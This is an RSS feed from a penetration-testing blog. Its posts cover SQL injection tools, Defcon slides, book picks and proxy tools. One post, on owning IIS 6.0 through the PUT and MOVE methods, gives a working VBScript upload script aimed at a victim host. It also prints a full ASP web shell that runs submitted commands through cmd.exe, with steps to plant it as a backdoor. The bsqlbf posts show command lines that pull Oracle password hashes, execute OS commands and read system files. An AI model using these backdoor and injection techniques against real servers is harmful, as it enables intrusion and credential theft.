<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>www.notsosecure.com &#187; Tools for Wep App Testing</title>
	<atom:link href="http://www.notsosecure.com/folder2/category/recommended-tools-for-wep-app-testing/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.notsosecure.com/folder2</link>
	<description>From Pentesters To Pentesters</description>
	<lastBuildDate>Fri, 28 Oct 2011 15:32:39 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Defcon 17 Slides, Demos and Tools</title>
		<link>http://www.notsosecure.com/folder2/2009/08/04/defcon-17-slides-demos-and-tools/</link>
		<comments>http://www.notsosecure.com/folder2/2009/08/04/defcon-17-slides-demos-and-tools/#comments</comments>
		<pubDate>Tue, 04 Aug 2009 17:42:16 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=253</guid>
		<description><![CDATA[Here are my slides and video demonstrations which i presented at Defcon 17. 
Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm
View more documents from guest785f78.

There are 3 demos to go with the slides:
Demo 1: Exploiting PL/SQL Injection from Web Applications.

Demo 2: Exploiting SQL Injection in Oracle Applications with Bsqlbf
Demo 3: A proof of concept of Oracle SQL Injection Worm

Tools: There are 2 [...]]]></description>
			<content:encoded><![CDATA[<p>Here are my slides and video demonstrations which i presented at Defcon 17. </p>
<div style="width:425px;text-align:left" id="__ss_1807350"><a style="font:14px Helvetica,Arial,Sans-serif;display:block;margin:12px 0 3px 0;text-decoration:underline;" href="http://www.slideshare.net/guest785f78/defconoraclethemakingofthe2ndsqlinjectionworm" title="Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm">Defcon_Oracle_The_Making_of_the_2nd_sql_injection_worm</a><object style="margin:0px" width="425" height="355"><param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=defconsidrev3-090804071431-phpapp01&#038;stripped_title=defconoraclethemakingofthe2ndsqlinjectionworm" /><param name="allowFullScreen" value="true"/><param name="allowScriptAccess" value="always"/><embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=defconsidrev3-090804071431-phpapp01&#038;stripped_title=defconoraclethemakingofthe2ndsqlinjectionworm" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"></embed></object>
<div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;">View more <a style="text-decoration:underline;" href="http://www.slideshare.net/">documents</a> from <a style="text-decoration:underline;" href="http://www.slideshare.net/guest785f78">guest785f78</a>.</div>
</div>
<p>There are 3 demos to go with the slides:</p>
<p>Demo 1: Exploiting PL/SQL Injection from Web Applications.</p>
<p><object width="425" height="340"><param name="movie" value="http://www.youtube.com/v/-kmRY9m0lNI&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/-kmRY9m0lNI&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="340"></embed></object></p>
<p>Demo 2: <a href="http://www.notsosecure.com/folder2/2009/07/19/bsqlbf-in-action/">Exploiting SQL Injection in Oracle Applications with Bsqlbf</a></p>
<p>Demo 3: A proof of concept of Oracle SQL Injection Worm</p>
<p><object width="560" height="340"><param name="movie" value="http://www.youtube.com/v/asrdtxLWlYE&#038;hl=en&#038;fs=1&#038;"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/asrdtxLWlYE&#038;hl=en&#038;fs=1&#038;" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="340"></embed></object></p>
<p>Tools: There are 2 tools shown in demos above:<br />
1. Bsqlbf: Download from <a href="http://code.google.com/p/bsqlbf-v2/">Project Homepage</a><br />
2. OAP_Hacker.pl: Download <a href="http://www.notsosecure.com/folder2/oap_hacker.pl">Here</a></p>
<p>Enjoy!! <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
<strong>Advert:</strong> Testking <a href="http://www.testking.com/1Y0-A06.htm">1Y0-A06</a> questions and <a href="http://www.testking.com/1Y0-A08.htm">1Y0-A08</a> practice test are enough to pass <a href="http://www.testking.com/70-448.htm">70-448</a> exams on first attempt without any difficulty</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2009/08/04/defcon-17-slides-demos-and-tools/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bsqlbf v 2.3 With Enhanced Oracle Exploitation</title>
		<link>http://www.notsosecure.com/folder2/2009/05/22/bsqlbf-v-23-with-enhanced-oracle-exploitation/</link>
		<comments>http://www.notsosecure.com/folder2/2009/05/22/bsqlbf-v-23-with-enhanced-oracle-exploitation/#comments</comments>
		<pubDate>Fri, 22 May 2009 17:58:04 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Tools for Wep App Testing]]></category>
		<category><![CDATA[Add new tag]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=219</guid>
		<description><![CDATA[A new version of bsqlbf is now available. The following are the new additions:

-------------------
 -type:        Type of injection:

        3:      Type 3  is extracting data with DBA privileges
         [...]]]></description>
			<content:encoded><![CDATA[<p>A new version of bsqlbf is now available. The following are the new additions:</p>
<pre>
-------------------
 -type:        Type of injection:

        3:      Type 3  is <strong>extracting data with DBA privileges</strong>
                 (e.g. Oracle password hashes from sys.user$)
        4:      Type 4 is <strong>O.S code execution</strong>(default: ping 127.0.0.1)
        5:      Type 5 is <strong>Reading O.S files</strong>(default: c:\boot.ini)
--------------------
Type 4 (O.S code execution) supports the following sub types:

 -stype:        How you want to execute command:

        0:      SType 0 (default) is based on <strong>java</strong>,
                universal but won't work against XE
        1:      SType 1 against <strong>oracle 9 with plsql_native_make_utility</strong>
        2:      SType 2 against <strong>oracle 10 with dbms_scheduler</strong>
</pre>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
Examples: </p>
<p>./bsqlbf-v2.3.pl -url http://192.168.1.1/injection.jsp/1.jsp?p=1 -type 3 -match &#8220;true&#8221; -sql &#8220;select password from sys.user$ where rownum=1&#8243;</p>
<p>./bsqlbf-v2.3.pl -url http://192.168.1.1/injection.jsp/1.jsp?p=1 -type 4 -match &#8220;true&#8221; -cmd &#8220;ping notsosecure.com&#8221;</p>
<p>./bsqlbf-v2.3.pl -url http://192.168.1.1/injecti.jsp/1.jsp?p=1 -type 5 -match &#8220;true&#8221; -file &#8220;C:\boot.ini&#8221;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Download from Project Homepage: <a href="http://code.google.com/p/bsqlbf-v2/">http://code.google.com/p/bsqlbf-v2/</a><br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>All these additions are based on dbms_export_extension exploit. This will work against the following oracle versions:<br />
Oracle 8.1.7.4, 9.2.0.1 &#8211; 9.2.0.7, 10.1.0.2 &#8211; 10.1.0.4, 10.2.0.1-10.2.0.2, XE</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
Enjoy&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2009/05/22/bsqlbf-v-23-with-enhanced-oracle-exploitation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bsqlbf v2.2</title>
		<link>http://www.notsosecure.com/folder2/2009/03/03/bsqlbf-v22/</link>
		<comments>http://www.notsosecure.com/folder2/2009/03/03/bsqlbf-v22/#comments</comments>
		<pubDate>Tue, 03 Mar 2009 15:24:33 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Research]]></category>
		<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/?p=190</guid>
		<description><![CDATA[I finally managed to fix a few bugs and release a new version. Other than the bug fixing, the new version also supports blind sql injection in &#8220;order by&#8221;, &#8220;group by&#8221; clause.

There are currently a few issues with threaded perl. I have tested this under windows using activeperl. As always, any bug report is highly [...]]]></description>
			<content:encoded><![CDATA[<p>I finally managed to fix a few bugs and release a new version. Other than the bug fixing, the new version also supports <a href="http://www.notsosecure.com/folder2/2008/08/01/injection-in-order-by-clause/">blind sql injection in &#8220;order by&#8221;, &#8220;group by&#8221; clause.<br />
</a><br />
There are currently a few issues with threaded perl. I have tested this under windows using activeperl. As always, any bug report is highly appreciated.</p>
<p><a href="http://code.google.com/p/bsqlbf-v2/downloads/list">Download link</a></p>
<p>Sid</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2009/03/03/bsqlbf-v22/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bsqlbf V2, Blind SQL Injection Brute Forcer</title>
		<link>http://www.notsosecure.com/folder2/2008/06/21/bsqlbf-v2-blind-sql-injection-brute-forcer/</link>
		<comments>http://www.notsosecure.com/folder2/2008/06/21/bsqlbf-v2-blind-sql-injection-brute-forcer/#comments</comments>
		<pubDate>Sat, 21 Jun 2008 09:28:32 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2008/06/21/bsqlbf-v2-blind-sql-injection-brute-forcer/</guid>
		<description><![CDATA[Bsqlbf was originally written by &#160;A. Ramos from www.514.es and was intended to exploit blind sql injection against mysql backend database. This is a modified version of the same tool. It supports blind sql injection against the following databases:-
MS-SQL
MY-SQL
PostgreSQL
Oracle
It supports injection in string and integer fields. The feature which separates this tool from all other [...]]]></description>
			<content:encoded><![CDATA[<p>Bsqlbf was originally written by &nbsp;A. Ramos from <a href="http://www.514.es">www.514.es</a> and was intended to exploit blind sql injection against mysql backend database. This is a modified version of the same tool. It supports blind sql injection against the following databases:-</p>
<p><span style="font-weight: bold" class="Apple-style-span">MS-SQL</span></p>
<p><span style="font-weight: bold" class="Apple-style-span">MY-SQL</span></p>
<p><span style="font-weight: bold" class="Apple-style-span">PostgreSQL</span></p>
<p><span style="font-weight: bold" class="Apple-style-span">Oracle</span></p>
<p>It supports injection in string and integer fields. The feature which separates this tool from all other sql injection tools is that it supports custom SQL queries to be supplied with the -sql switch. &nbsp;</p>
<p>It supports 2 modes of attack(-type):</p>
<p><strong>Type 0</strong>: Blind SQL Injection based on True And Flase response</p>
<p><strong>Type 1</strong>: Blind SQL Injection based on True And Error Response(<a href="http://www.notsosecure.com/folder2/2008/05/26/if-query-data-manipulation/">details</a>)&nbsp;</p>
<p><strong>Usage</strong>: <em>$./bsqlbf-v2.pl -url http://192.168.1.1/injection_string_post/1.asp?p=1 -method post -match true -database 0 -sql &quot;select top 1 name from sysobjects where xtype=&#39;U&#39;&quot;</em></p>
<p><strong>Download</strong>: <a href="http://bsqlbf-v2.googlecode.com/files/bsqlbf-v2.1.zip">http://bsqlbf-v2.googlecode.com/files/bsqlbf-v2.1.zip</a></p>
<p>Send Your feedbacks/suggestions to sid-at-notsosecure(dot)com&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2008/06/21/bsqlbf-v2-blind-sql-injection-brute-forcer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Recommended Books For Pentesting</title>
		<link>http://www.notsosecure.com/folder2/2007/06/30/recommended-books-for-pentesting/</link>
		<comments>http://www.notsosecure.com/folder2/2007/06/30/recommended-books-for-pentesting/#comments</comments>
		<pubDate>Sat, 30 Jun 2007 19:46:57 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/06/30/recommended-books-for-pentesting/</guid>
		<description><![CDATA[Although, i don&#39;t have the habit of reading books, here are a few books which you may consider reading.
&#8212;&#8212;&#8212;&#8211;&#160;
Database Hackers Handbook.(David Litchfield)
Oracle Hacker&#39;s handbook (David Litchfield)&#160;
Hacking Web Applications Exposed (TMH Publications) 
Essential PHP Security (Chris Shifflett)
TCP/IP Illustrated (Comer).
Hacking Linux Exposed.&#160;
&#8212;&#8212;-&#160;
As this list is really small, it is clear that i need to read more books. [...]]]></description>
			<content:encoded><![CDATA[<p>Although, i don&#39;t have the habit of reading books, here are a few books which you may consider reading.</p>
<p>&#8212;&#8212;&#8212;&#8211;&nbsp;</p>
<p>Database Hackers Handbook.(David Litchfield)</p>
<p>Oracle Hacker&#39;s handbook (David Litchfield)&nbsp;</p>
<p>Hacking Web Applications Exposed (TMH Publications) </p>
<p>Essential PHP Security (Chris Shifflett)</p>
<p>TCP/IP Illustrated (Comer).</p>
<p>Hacking Linux Exposed.&nbsp;</p>
<p>&#8212;&#8212;-&nbsp;</p>
<p>As this list is really small, it is clear that i need to read more books. If you know any good book related to pentesting (or security in general) please share it with us.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/06/30/recommended-books-for-pentesting/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Owning IIS 6.0 When Webserver Supports Put and Move HTTP Methods</title>
		<link>http://www.notsosecure.com/folder2/2007/06/14/owning-iis-60-when-webserver-supports-put-and-move-http-methods/</link>
		<comments>http://www.notsosecure.com/folder2/2007/06/14/owning-iis-60-when-webserver-supports-put-and-move-http-methods/#comments</comments>
		<pubDate>Thu, 14 Jun 2007 13:11:30 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/06/14/owning-iis-60-when-webserver-supports-put-and-move-http-methods/</guid>
		<description><![CDATA[Credits: ice&#160; and ferruh
In IIS 6.0 you can upload the backdoor scripts but u may not be able to execute the default cmd.exe present in the iis box, so u need to upload your own cmd.exe first and then make your asp backdoor point to the cmd.exe which you uploaded.
Steps:
1. Upload cmd.exe to /scripts/ folder: [...]]]></description>
			<content:encoded><![CDATA[<p>Credits: ice&nbsp; and ferruh</p>
<p>In IIS 6.0 you can upload the backdoor scripts but u may not be able to execute the default cmd.exe present in the iis box, so u need to upload your own cmd.exe first and then make your asp backdoor point to the cmd.exe which you uploaded.</p>
<p><strong>Steps:</strong></p>
<p>1. Upload cmd.exe to /scripts/ folder: Use the script below published by http://www.eggheadcafe.com/articles/20010829.asp which will allow you to upload cmd.exe (or any other binary) to the vulnerable server. You may not be able to upload a .exe file, so rename cmd.exe to&nbsp; cmd.txt and then use the move method to copy it back from cmd.txt to cmd.exe. Note that cmd.exe must be copied to the /scripts/ folder of IIS where you have by default execute privileges.</p>
<p>Here is the upload script:&nbsp;</p>
<p><font color="#0000ff">&lt;script language=VBSCRIPT&gt; dim strURL function sendit( sfileName, sType) sData = getFileBytes(sfileName, sType) sfileName= mid(sfileName, InstrRev(sFileName,&quot;\&quot;)+1,len(sfileName)) dim xmlhttp set xmlhttp=createobject(&quot;MSXML2.XMLHTTP.3.0&quot;)<br /> strURL = &quot;http://victim.com/scripts/&quot; &amp; sFileName msgbox &quot;URL is: &quot; &amp; strURL xmlhttp.Open &quot;PUT&quot;, strURL, false xmlhttp.Send sData show.innerText= &quot;Status: &quot; &amp; xmlhttp.statusText set xmlhttp=Nothing End function<br /> sub showresult()<br /> document.write &quot;&lt;CENTER&gt;Take A look!&lt;BR&gt;&lt;A xhref=&quot; &amp; strURL &amp; &quot;&gt;&quot;&amp; strURL &amp; &quot;&lt;/a&gt;&lt;/CENTER&gt;&quot;<br /> end sub</p>
<p> function getFileBytes(flnm, sType)<br /> Dim objStream<br /> Set objStream = CreateObject(&quot;ADODB.Stream&quot;)<br /> if sType=&quot;on&quot; then<br /> objStream.Type = 1 &#39; adTypeBinary<br /> else<br /> objStream.Type = 2 &#39; adTypeText<br /> objStream.Charset =&quot;ascii&quot;<br /> end if<br /> objStream.Open<br /> objStream.LoadFromFile flnm<br /> if sType=&quot;on&quot; then<br /> getFileBytes=objStream.Read<br /> else<br /> getFileBytes= objStream.ReadText<br /> end if<br /> objStream.Close<br /> Set objStream = Nothing<br /> end function<br /> &lt;/script&gt;</p>
<p> &lt;TABLE align=center&gt;<br /> &lt;TR&gt;&lt;TD&gt;&lt;input type=FILE id=filedata &gt;&lt;/TD&gt;&lt;/TR&gt;<br /> &lt;TR&gt;&lt;TD&gt;&lt;input type=submit onclick=&quot;Call sendit( filedata.value, filetype.value)&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;<br /> &lt;TR&gt;&lt;TD&gt;&lt;input type=checkBox id=filetype checked &gt;Type Binary (Uncheck for Type Text)&lt;/TD&gt;&lt;/TR&gt;<br /> &lt;TR&gt;&lt;TD&gt;&lt;input type=button value = &quot;SHOW IT&quot; onclick =&quot;showresult()&quot;&gt;&lt;/TD&gt;&lt;/TR&gt;<br /> &lt;/TABLE&gt;<br /> &lt;div id=show align=center&gt;&lt;/div&gt;<br /> </font><br /> 2.Upload the cmd.asp file to /scripts/ folder: Use the same upload script running locally on your system to upload the cmd.asp, from (http://www.unsec.net/2007/03/web_backdoor_jspshell_aspshell_1.html) &nbsp;<font color="#0000ff"></font></p>
<p><font color="#0000ff">&lt;!&#8211; IIS6 VBscript command shell &#8211;&gt;</font></p>
<p><font color="#0000ff">&lt;!&#8211; aramosf@unsec.net http://www.514.es &#8211;&gt;</font></p>
<p><font color="#0000ff">&lt;title&gt;514 aspshell&lt;/title&gt; &lt;FORM action=&quot;&lt;%= Request.ServerVariables(&quot;URL&quot;) %&gt;&quot; method=&quot;POST&quot;&gt;<br /> &lt;input type=text name=&quot;cmd&quot; size=45 value=&quot;&lt;%= cmd %&gt;&quot;&gt;<br /> &lt;input type=submit value=&quot;Run&quot;&gt;<br /> &lt;/FORM&gt;<br /> &lt;%<br /> If (request(&quot;cmd&quot;) &lt;&gt; &quot;&quot;) Then<br /> Response.Write Server.HTMLEncode(server.createobject</font></p>
<p><font color="#0000ff">(&quot;wscript.shell&quot;).exec(Server.MapPath(&quot;cmd.exe&quot;)&amp; &quot; /c &quot; &amp;</p>
<p> request(&quot;cmd&quot;)).stdout.readall)<br /> End If<br /> %&gt;<br /> </font></p>
<p> You need to make the script point to the cmd.exe you uploaded in the scripts folder. You will need the absolute path, so the line:</p>
<p><font color="#0000ff">Response.Write Server.HTMLEncode(server.createobject</font></p>
<p><font color="#0000ff">(&quot;wscript.shell&quot;).exec(Server.MapPath(&quot;cmd.exe&quot;)&amp; &quot; /c &quot; &amp;</font></p>
<p><font color="#0000ff">request(&quot;cmd&quot;)).stdout.readall)</font></p>
<p>may look something like:&nbsp;</p>
<p><font color="#0000ff">Response.Write Server.HTMLEncode(server.createobject</font></p>
<p><font color="#0000ff">(&quot;wscript.shell&quot;).exec(&quot;C:\Inetpub\Scripts\mycmd.exe /c &quot; &amp;</font></p>
<p><font color="#0000ff">request(&quot;cmd&quot;)).stdout.readall)</font></p>
<p>You may not be able to upload the .asp file, so rename it as .txt and use the move method to copy it again as .asp on the server. That&#39;s it, job done, your backdoor should work fine now <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> </p>
<p><strong>- Questions:&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</strong></p>
<p>1. How to obtain the absolute path. add this line to your backdoor:</p>
<p><font color="#0000ff">&lt;%=Server.Mappath(&quot;/scripts/&quot;)%&gt;</font>&nbsp;</p>
<p>This will give you the full path, make necessary changes to your backdoor and upload it again.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>2. What if the scripts directory is not present?</p>
<p>I think the attack will fail as you wont have the execute permissions:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>3. Is it a good practice to not have /scripts/ folder in the document root?</p>
<p>Think so.</p>
<p> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br /> <strong>&#39;&#39;&#39;Syntax:&#39;&#39;&#39;</strong><br /> &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br /> <strong>&nbsp;Example- PUT Method:</strong></p>
<p>&gt;&gt;Request&nbsp;</p>
<p>PUT /foo.txt HTTP/1.1</p>
<p>Host: www.victim.com</p>
<p>Content-Length: 4</p>
<p>test</p>
<p>&gt;&gt;Response&nbsp;</p>
<p>HTTP/1.1 201 Created<br /> Date: Thu, 14 Jun 2007 09:47:24 GMT<br /> Server: Microsoft-IIS/6.0<br /> X-Powered-By: ASP.NET<br /> Location: http://www.victim.com/foo.txt<br /> Content-Length: 0<br /> Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, PROPPATCH, SEARCH, LOCK, UNLOCK<br /> &nbsp;&nbsp;&nbsp;</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p><strong>Example &#8211; DELETE</strong></p>
<p>&gt;&gt;Request &nbsp;&nbsp;</p>
<p>DELETE&nbsp; /container/ HTTP/1.1 &nbsp;&nbsp;</p>
<p>Host: www.foo.bar</p>
<p>&gt;&gt;Response &nbsp;&nbsp;</p>
<p>HTTP/1.1 207 Multi-Status &nbsp;&nbsp; Content-Type: text/xml; charset=&quot;utf-8&quot; &nbsp;&nbsp; Content-Length: xxxx &nbsp;&nbsp; &lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot; ?&gt; &nbsp;&nbsp; &lt;d:multistatus xmlns:d=&quot;DAV:&quot;&gt; &nbsp;&nbsp;&nbsp;&nbsp; &lt;d:response&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;d:href&gt;http://www.foo.bar/container/resource3&lt;/d:href&gt; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;d:status&gt;HTTP/1.1 423 Locked&lt;/d:status&gt; &nbsp;&nbsp;&nbsp;&nbsp; &lt;/d:response&gt; &nbsp;&nbsp; &lt;/d:multistatus&gt;</p>
<p>&#8212;&#8212;&#8212;&#8212;-</p>
<p><strong>Example- MOVE</strong><br /> &gt;&gt;Request</p>
<p> &nbsp;&nbsp; MOVE /~fielding/index.html HTTP/1.1<br /> &nbsp;&nbsp; Host: www.ics.uci.edu<br /> &nbsp;&nbsp; Destination: http://www.ics.uci.edu/users/f/fielding/index.html</p>
<p> &gt;&gt;Response</p>
<p> &nbsp;&nbsp; HTTP/1.1 201 Created<br /> &nbsp;&nbsp; Location: http://www.ics.uci.edu/users/f/fielding/index.html</p>
<p> &#8212;&#8212;&#8212;&#8212;</p>
<p> More HTTP methods:http://www.webdav.org/specs/rfc2518.html<br /> &#8212;&#8212;&#8212;&#8212;</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/06/14/owning-iis-60-when-webserver-supports-put-and-move-http-methods/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cookie Analysis</title>
		<link>http://www.notsosecure.com/folder2/2007/03/18/cookie-analysis/</link>
		<comments>http://www.notsosecure.com/folder2/2007/03/18/cookie-analysis/#comments</comments>
		<pubDate>Sun, 18 Mar 2007 10:18:15 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/03/18/cookie-analysis/</guid>
		<description><![CDATA[Webscarab is perhaps the only tool i can think of for this. I use this tool to figure out whether the session ids are predictable or not. The &#8216;visualisation&#8217; feature is just great. Although the interface is not a very well designed and if you are a new user you have difficulties operating this tool [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://dawes.za.net/rogan/webscarab/"><em><strong>Webscarab</strong></em></a><em><strong> </strong></em>is perhaps the only tool i can think of for this. I use this tool to figure out whether the session ids are predictable or not. The &#8216;visualisation&#8217; feature is just great. Although the interface is not a very well designed and if you are a new user you have difficulties operating this tool but once you learn this tool its very handy. Some other great features include the compare feature which is a bit like &#8216;diff&#8217; command in unix.</p>
<p>Another feature why i like this tool is for the inbuilt <strong>fuzzing</strong> module. Just specify the parameter in the request which you want to fuzz and point to the file containing the values, which you would like the paramter to take. Then use the &#8216;compare&#8217; section to compare different responses and this should indicate whether fuzzing was successful or not. Although this also has a built in proxy feature, but i still prefer burp for proxy may be becuase of the better gui.</p>
<p>For the basic cookie analysis i use a <em><strong><a href="https://addons.mozilla.org/firefox/573/" target="_blank">firefox plugin</a></strong></em>. This plugin allows you to view all the cookies for a partciular domain currently set in your browser, and also allows you to edit them.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/03/18/cookie-analysis/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Man In The Middle Tools</title>
		<link>http://www.notsosecure.com/folder2/2007/03/18/man-in-the-middle-tools/</link>
		<comments>http://www.notsosecure.com/folder2/2007/03/18/man-in-the-middle-tools/#comments</comments>
		<pubDate>Sun, 18 Mar 2007 09:59:09 +0000</pubDate>
		<dc:creator>sid</dc:creator>
				<category><![CDATA[Tools for Wep App Testing]]></category>

		<guid isPermaLink="false">http://www.notsosecure.com/folder2/2007/03/18/man-in-the-middle-tools/</guid>
		<description><![CDATA[This weekend as i have nothing better to do, lemme talk about my experiences with proxy tools:

 Proxy Tool: Parameter Manipulation is a very important stage of web app testing, and without this, the test will be incomplete.  I was using tools like Paros and Achillies for achieveing this, but the problem with both [...]]]></description>
			<content:encoded><![CDATA[<p>This weekend as i have nothing better to do, lemme talk about my experiences with proxy tools:</p>
<ol>
<li> <strong>Proxy Tool:</strong> Parameter Manipulation is a very important stage of web app testing, and without this, the test will be incomplete.  I was using tools like <strong>Paros </strong>and <strong>Achillies </strong>for achieveing this, but the problem with both of them was they were highly unstable and would crash every now and then. Thus if the customer has asked you to provide all the logs of testing, it would be difficult for you to provide logs if tools were to crash. I currently use <em><strong><a href="http://www.portswigger.net/proxy/" title="Burp Proxy" target="_blank">Burp Suite</a>.</strong></em> I find it is highly stable and comes with this feature of viewing request/response as <strong>text, parameter, and  as hex</strong>. Viewing request and response as &#8216;param&#8217; helps me particulary when dealing with asp .net applications becuase of the long value of viewstate and other .net stuff. Another interesting feature of Burp is the <strong>repeater </strong>module, which could be used to send modified requests to server multiple times. I use this feature mostly to figure out the &#8216;non essential&#8217; parameters of the unmodified request and then to focus on the essential parametes. Best way to learn the capabilities of this tool is to download it and then play with it. <img src='http://www.notsosecure.com/folder2/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://www.notsosecure.com/folder2/2007/03/18/man-in-the-middle-tools/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

